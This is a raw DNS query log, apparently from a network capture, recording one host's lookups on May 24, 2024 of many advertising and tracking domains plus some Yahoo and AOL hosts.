May 24, 2024 00:35:03.444797039 CEST	192.168.2.6	1.1.1.1	0x616f	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.445398092 CEST	192.168.2.6	1.1.1.1	0x3077	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
May 24, 2024 00:35:03.445651054 CEST	192.168.2.6	1.1.1.1	0x8706	Standard query (0)	pixel.onaudience.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.446475983 CEST	192.168.2.6	1.1.1.1	0x9f6e	Standard query (0)	pixel.onaudience.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.446810961 CEST	192.168.2.6	1.1.1.1	0xff5b	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.447424889 CEST	192.168.2.6	1.1.1.1	0x25bf	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.447864056 CEST	192.168.2.6	1.1.1.1	0x8a6a	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.448421955 CEST	192.168.2.6	1.1.1.1	0x6882	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.450061083 CEST	192.168.2.6	1.1.1.1	0xeb12	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.450656891 CEST	192.168.2.6	1.1.1.1	0x435a	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.462290049 CEST	192.168.2.6	1.1.1.1	0xa022	Standard query (0)	dsp.adfarm1.adition.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.463110924 CEST	192.168.2.6	1.1.1.1	0x8427	Standard query (0)	dsp.adfarm1.adition.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.463661909 CEST	192.168.2.6	1.1.1.1	0x2519	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.790976048 CEST	192.168.2.6	1.1.1.1	0xd650	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
May 24, 2024 00:35:04.308243036 CEST	192.168.2.6	1.1.1.1	0xba52	Standard query (0)	simage4.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.308423996 CEST	192.168.2.6	1.1.1.1	0x99a3	Standard query (0)	simage4.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:04.338197947 CEST	192.168.2.6	1.1.1.1	0x905f	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:04.338372946 CEST	192.168.2.6	1.1.1.1	0xaac8	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.494517088 CEST	192.168.2.6	1.1.1.1	0xfcfc	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.494704008 CEST	192.168.2.6	1.1.1.1	0x8e9e	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.495774984 CEST	192.168.2.6	1.1.1.1	0x71f3	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.496695995 CEST	192.168.2.6	1.1.1.1	0x7fd1	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.499638081 CEST	192.168.2.6	1.1.1.1	0x7dc5	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.501801014 CEST	192.168.2.6	1.1.1.1	0xa248	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.509996891 CEST	192.168.2.6	1.1.1.1	0x894b	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.511018991 CEST	192.168.2.6	1.1.1.1	0x8740	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.514333963 CEST	192.168.2.6	1.1.1.1	0x3398	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.514513016 CEST	192.168.2.6	1.1.1.1	0xb7eb	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.519932985 CEST	192.168.2.6	1.1.1.1	0xd7d1	Standard query (0)	manifest.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.520093918 CEST	192.168.2.6	1.1.1.1	0x5a5e	Standard query (0)	manifest.prod.boltdns.net	65	IN (0x0001)	false
May 24, 2024 00:35:05.521348953 CEST	192.168.2.6	1.1.1.1	0xd29b	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.521692038 CEST	192.168.2.6	1.1.1.1	0x36cb	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.634113073 CEST	192.168.2.6	1.1.1.1	0x8ba8	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.634341002 CEST	192.168.2.6	1.1.1.1	0x6107	Standard query (0)	ads.avct.cloud	65	IN (0x0001)	false
May 24, 2024 00:35:05.655975103 CEST	192.168.2.6	1.1.1.1	0x20a8	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.716355085 CEST	192.168.2.6	1.1.1.1	0x3135	Standard query (0)	noa.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.717052937 CEST	192.168.2.6	1.1.1.1	0x439d	Standard query (0)	noa.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.717590094 CEST	192.168.2.6	1.1.1.1	0x6934	Standard query (0)	ganon.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.717823029 CEST	192.168.2.6	1.1.1.1	0x4c76	Standard query (0)	ganon.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.724798918 CEST	192.168.2.6	1.1.1.1	0xc76d	Standard query (0)	bats.video.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.725039959 CEST	192.168.2.6	1.1.1.1	0x9802	Standard query (0)	bats.video.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.725969076 CEST	192.168.2.6	1.1.1.1	0x42cd	Standard query (0)	ssp.disqus.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.726195097 CEST	192.168.2.6	1.1.1.1	0x2511	Standard query (0)	ssp.disqus.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.726716995 CEST	192.168.2.6	1.1.1.1	0xc33a	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.726846933 CEST	192.168.2.6	1.1.1.1	0xfdf5	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.856612921 CEST	192.168.2.6	1.1.1.1	0x77db	Standard query (0)	widget.us.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.856991053 CEST	192.168.2.6	1.1.1.1	0xd085	Standard query (0)	widget.us.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:05.858122110 CEST	192.168.2.6	1.1.1.1	0xee02	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.858412981 CEST	192.168.2.6	1.1.1.1	0xeb1c	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
May 24, 2024 00:35:05.901067019 CEST	192.168.2.6	1.1.1.1	0xfcfd	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:05.901294947 CEST	192.168.2.6	1.1.1.1	0xfe67	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
May 24, 2024 00:35:06.271522045 CEST	192.168.2.6	1.1.1.1	0xc74f	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:06.271920919 CEST	192.168.2.6	1.1.1.1	0x5bc1	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:06.899796009 CEST	192.168.2.6	1.1.1.1	0x1026	Standard query (0)	uipus.semasio.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:06.900036097 CEST	192.168.2.6	1.1.1.1	0x248	Standard query (0)	uipus.semasio.net	65	IN (0x0001)	false
May 24, 2024 00:35:07.460216045 CEST	192.168.2.6	1.1.1.1	0xa227	Standard query (0)	rtb.mfadsrvr.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:07.460573912 CEST	192.168.2.6	1.1.1.1	0x248b	Standard query (0)	rtb.mfadsrvr.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.538840055 CEST	192.168.2.6	1.1.1.1	0xd4e7	Standard query (0)	bcbolt446c5271-a.akamaihd.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.539026976 CEST	192.168.2.6	1.1.1.1	0x7f49	Standard query (0)	bcbolt446c5271-a.akamaihd.net	65	IN (0x0001)	false
May 24, 2024 00:35:08.540632963 CEST	192.168.2.6	1.1.1.1	0xc52c	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.541018009 CEST	192.168.2.6	1.1.1.1	0x5740	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.542198896 CEST	192.168.2.6	1.1.1.1	0x33a2	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.542592049 CEST	192.168.2.6	1.1.1.1	0x656	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
May 24, 2024 00:35:08.543015957 CEST	192.168.2.6	1.1.1.1	0x1a6d	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.543420076 CEST	192.168.2.6	1.1.1.1	0xf1e7	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:08.544699907 CEST	192.168.2.6	1.1.1.1	0xc8b	Standard query (0)	tb.pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.544950008 CEST	192.168.2.6	1.1.1.1	0x465e	Standard query (0)	tb.pbs.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.545761108 CEST	192.168.2.6	1.1.1.1	0x71ab	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.546046019 CEST	192.168.2.6	1.1.1.1	0x2846	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.561603069 CEST	192.168.2.6	1.1.1.1	0xbbdb	Standard query (0)	cdn.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.562005043 CEST	192.168.2.6	1.1.1.1	0x2bf4	Standard query (0)	cdn.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.567255020 CEST	192.168.2.6	1.1.1.1	0x784c	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.567683935 CEST	192.168.2.6	1.1.1.1	0x1597	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
May 24, 2024 00:35:08.569087982 CEST	192.168.2.6	1.1.1.1	0xe0f2	Standard query (0)	live.primis.tech	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.569256067 CEST	192.168.2.6	1.1.1.1	0xac7a	Standard query (0)	live.primis.tech	65	IN (0x0001)	false
May 24, 2024 00:35:08.569948912 CEST	192.168.2.6	1.1.1.1	0x9675	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.570097923 CEST	192.168.2.6	1.1.1.1	0x4ee3	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.571105957 CEST	192.168.2.6	1.1.1.1	0xbe22	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.571479082 CEST	192.168.2.6	1.1.1.1	0x9d88	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
May 24, 2024 00:35:08.572040081 CEST	192.168.2.6	1.1.1.1	0xb190	Standard query (0)	ipac.ctnsnet.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.572380066 CEST	192.168.2.6	1.1.1.1	0x9b5a	Standard query (0)	ipac.ctnsnet.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.572691917 CEST	192.168.2.6	1.1.1.1	0xbfcc	Standard query (0)	cm-supply-web.gammaplatform.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.572895050 CEST	192.168.2.6	1.1.1.1	0xc27a	Standard query (0)	cm-supply-web.gammaplatform.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.573522091 CEST	192.168.2.6	1.1.1.1	0x7a7c	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.573671103 CEST	192.168.2.6	1.1.1.1	0x3c23	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
May 24, 2024 00:35:08.574878931 CEST	192.168.2.6	1.1.1.1	0xbc7	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:08.575211048 CEST	192.168.2.6	1.1.1.1	0x8198	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
May 24, 2024 00:35:09.209945917 CEST	192.168.2.6	1.1.1.1	0xe20b	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.210228920 CEST	192.168.2.6	1.1.1.1	0x1107	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
May 24, 2024 00:35:09.211302042 CEST	192.168.2.6	1.1.1.1	0xc826	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:09.211447001 CEST	192.168.2.6	1.1.1.1	0x6ff1	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
May 24, 2024 00:35:10.178855896 CEST	192.168.2.6	1.1.1.1	0x6a18	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:10.179306030 CEST	192.168.2.6	1.1.1.1	0x7e8a	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.320960999 CEST	192.168.2.6	1.1.1.1	0x18a7	Standard query (0)	inv-nets.admixer.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.321378946 CEST	192.168.2.6	1.1.1.1	0xbb9a	Standard query (0)	inv-nets.admixer.net	65	IN (0x0001)	false
May 24, 2024 00:35:11.324862957 CEST	192.168.2.6	1.1.1.1	0x4026	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.325115919 CEST	192.168.2.6	1.1.1.1	0xefd7	Standard query (0)	cs.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:11.334600925 CEST	192.168.2.6	1.1.1.1	0xb0a6	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.335033894 CEST	192.168.2.6	1.1.1.1	0xaf33	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
May 24, 2024 00:35:11.473104000 CEST	192.168.2.6	1.1.1.1	0xc7bd	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.473411083 CEST	192.168.2.6	1.1.1.1	0x6f6	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.477039099 CEST	192.168.2.6	1.1.1.1	0xb4f8	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.477252007 CEST	192.168.2.6	1.1.1.1	0x825	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.478298903 CEST	192.168.2.6	1.1.1.1	0xf0f6	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.478439093 CEST	192.168.2.6	1.1.1.1	0xf7b7	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.479720116 CEST	192.168.2.6	1.1.1.1	0xa23c	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.479886055 CEST	192.168.2.6	1.1.1.1	0x4edd	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.481544971 CEST	192.168.2.6	1.1.1.1	0x5525	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.481865883 CEST	192.168.2.6	1.1.1.1	0x86cf	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:11.486066103 CEST	192.168.2.6	1.1.1.1	0xdb0e	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.486254930 CEST	192.168.2.6	1.1.1.1	0x5751	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.489350080 CEST	192.168.2.6	1.1.1.1	0x5604	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.489692926 CEST	192.168.2.6	1.1.1.1	0xd73e	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:11.491450071 CEST	192.168.2.6	1.1.1.1	0x5c3c	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:11.491612911 CEST	192.168.2.6	1.1.1.1	0xa9d2	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:12.366499901 CEST	192.168.2.6	1.1.1.1	0x3bc7	Standard query (0)	ads.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.367360115 CEST	192.168.2.6	1.1.1.1	0xd141	Standard query (0)	ads.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:12.570852995 CEST	192.168.2.6	1.1.1.1	0xec62	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.571353912 CEST	192.168.2.6	1.1.1.1	0x6aa4	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
May 24, 2024 00:35:12.742705107 CEST	192.168.2.6	1.1.1.1	0x1a26	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.743068933 CEST	192.168.2.6	1.1.1.1	0x71a6	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
May 24, 2024 00:35:13.307152033 CEST	192.168.2.6	1.1.1.1	0x5a92	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.307498932 CEST	192.168.2.6	1.1.1.1	0x8ef2	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:35:13.553541899 CEST	192.168.2.6	1.1.1.1	0x9caa	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.553822994 CEST	192.168.2.6	1.1.1.1	0x991d	Standard query (0)	u.openx.net	65	IN (0x0001)	false
May 24, 2024 00:35:13.882461071 CEST	192.168.2.6	1.1.1.1	0x802d	Standard query (0)	smarttag.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.882771969 CEST	192.168.2.6	1.1.1.1	0x9595	Standard query (0)	smarttag.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:14.171449900 CEST	192.168.2.6	1.1.1.1	0x2c06	Standard query (0)	tsdtocl.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.171698093 CEST	192.168.2.6	1.1.1.1	0x67b9	Standard query (0)	tsdtocl.com	65	IN (0x0001)	false
May 24, 2024 00:35:14.173223972 CEST	192.168.2.6	1.1.1.1	0xc1c2	Standard query (0)	opus.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.173374891 CEST	192.168.2.6	1.1.1.1	0xafb8	Standard query (0)	opus.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:14.180269003 CEST	192.168.2.6	1.1.1.1	0x66d2	Standard query (0)	sync.adkernel.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.180413961 CEST	192.168.2.6	1.1.1.1	0x8052	Standard query (0)	sync.adkernel.com	65	IN (0x0001)	false
May 24, 2024 00:35:15.212332964 CEST	192.168.2.6	1.1.1.1	0x3b31	Standard query (0)	beacon-ams3.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.212655067 CEST	192.168.2.6	1.1.1.1	0xa1b3	Standard query (0)	beacon-ams3.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:15.217308044 CEST	192.168.2.6	1.1.1.1	0x26c8	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.217642069 CEST	192.168.2.6	1.1.1.1	0x9065	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
May 24, 2024 00:35:15.219885111 CEST	192.168.2.6	1.1.1.1	0xbb50	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.220252991 CEST	192.168.2.6	1.1.1.1	0x3a6d	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
May 24, 2024 00:35:15.787151098 CEST	192.168.2.6	1.1.1.1	0x9974	Standard query (0)	api.content.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.787322044 CEST	192.168.2.6	1.1.1.1	0x3f22	Standard query (0)	api.content.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.251720905 CEST	192.168.2.6	1.1.1.1	0xa9b	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.251951933 CEST	192.168.2.6	1.1.1.1	0xc9d	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:16.275747061 CEST	192.168.2.6	1.1.1.1	0x1642	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.275954008 CEST	192.168.2.6	1.1.1.1	0x722e	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.361107111 CEST	192.168.2.6	1.1.1.1	0x98c6	Standard query (0)	ad.mrtnsvr.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.361511946 CEST	192.168.2.6	1.1.1.1	0x4d90	Standard query (0)	ad.mrtnsvr.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.389440060 CEST	192.168.2.6	1.1.1.1	0x2443	Standard query (0)	d5p.de17a.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.389673948 CEST	192.168.2.6	1.1.1.1	0x4ffd	Standard query (0)	d5p.de17a.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.487669945 CEST	192.168.2.6	1.1.1.1	0x8381	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.487669945 CEST	192.168.2.6	1.1.1.1	0x6936	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.503093958 CEST	192.168.2.6	1.1.1.1	0xd538	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.503232956 CEST	192.168.2.6	1.1.1.1	0x56fc	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
May 24, 2024 00:35:16.607498884 CEST	192.168.2.6	1.1.1.1	0xd8fb	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.607498884 CEST	192.168.2.6	1.1.1.1	0xbfc4	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.619904041 CEST	192.168.2.6	1.1.1.1	0x8df1	Standard query (0)	oidc.help.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.619904041 CEST	192.168.2.6	1.1.1.1	0x7e13	Standard query (0)	oidc.help.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:16.919631004 CEST	192.168.2.6	1.1.1.1	0x330	Standard query (0)	green.erne.co	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.920319080 CEST	192.168.2.6	1.1.1.1	0x4122	Standard query (0)	green.erne.co	65	IN (0x0001)	false
May 24, 2024 00:35:17.026648045 CEST	192.168.2.6	1.1.1.1	0xe882	Standard query (0)	matching.truffle.bid	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.027040958 CEST	192.168.2.6	1.1.1.1	0x9b40	Standard query (0)	matching.truffle.bid	65	IN (0x0001)	false
May 24, 2024 00:35:17.151900053 CEST	192.168.2.6	1.1.1.1	0xd10c	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.152143955 CEST	192.168.2.6	1.1.1.1	0x9770	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.173856020 CEST	192.168.2.6	1.1.1.1	0x7234	Standard query (0)	match.adsby.bidtheatre.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.174036980 CEST	192.168.2.6	1.1.1.1	0xb76c	Standard query (0)	match.adsby.bidtheatre.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.252588987 CEST	192.168.2.6	1.1.1.1	0x2c11	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.253499985 CEST	192.168.2.6	1.1.1.1	0x1463	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.306782007 CEST	192.168.2.6	1.1.1.1	0xe8fe	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.306889057 CEST	192.168.2.6	1.1.1.1	0x992e	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.405869961 CEST	192.168.2.6	1.1.1.1	0xbe58	Standard query (0)	ssp-sync.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.406122923 CEST	192.168.2.6	1.1.1.1	0x88df	Standard query (0)	ssp-sync.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.564176083 CEST	192.168.2.6	1.1.1.1	0x9afa	Standard query (0)	bats.video.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.564385891 CEST	192.168.2.6	1.1.1.1	0xc83	Standard query (0)	bats.video.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.763402939 CEST	192.168.2.6	1.1.1.1	0x8b7b	Standard query (0)	login.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.763402939 CEST	192.168.2.6	1.1.1.1	0x25a9	Standard query (0)	login.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.784106970 CEST	192.168.2.6	1.1.1.1	0xe700	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.784271955 CEST	192.168.2.6	1.1.1.1	0xeaf4	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
May 24, 2024 00:35:17.787992001 CEST	192.168.2.6	1.1.1.1	0x4c06	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.788229942 CEST	192.168.2.6	1.1.1.1	0xa55	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
May 24, 2024 00:35:17.790534973 CEST	192.168.2.6	1.1.1.1	0x7147	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.791150093 CEST	192.168.2.6	1.1.1.1	0xd23e	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.791150093 CEST	192.168.2.6	1.1.1.1	0xf298	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.791307926 CEST	192.168.2.6	1.1.1.1	0x9fbd	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.800403118 CEST	192.168.2.6	1.1.1.1	0xb048	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.800602913 CEST	192.168.2.6	1.1.1.1	0x5aa9	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:17.802676916 CEST	192.168.2.6	1.1.1.1	0xac07	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.803035975 CEST	192.168.2.6	1.1.1.1	0xf7bc	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.809031963 CEST	192.168.2.6	1.1.1.1	0xffe4	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.809228897 CEST	192.168.2.6	1.1.1.1	0x10f6	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.810270071 CEST	192.168.2.6	1.1.1.1	0x4cee	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
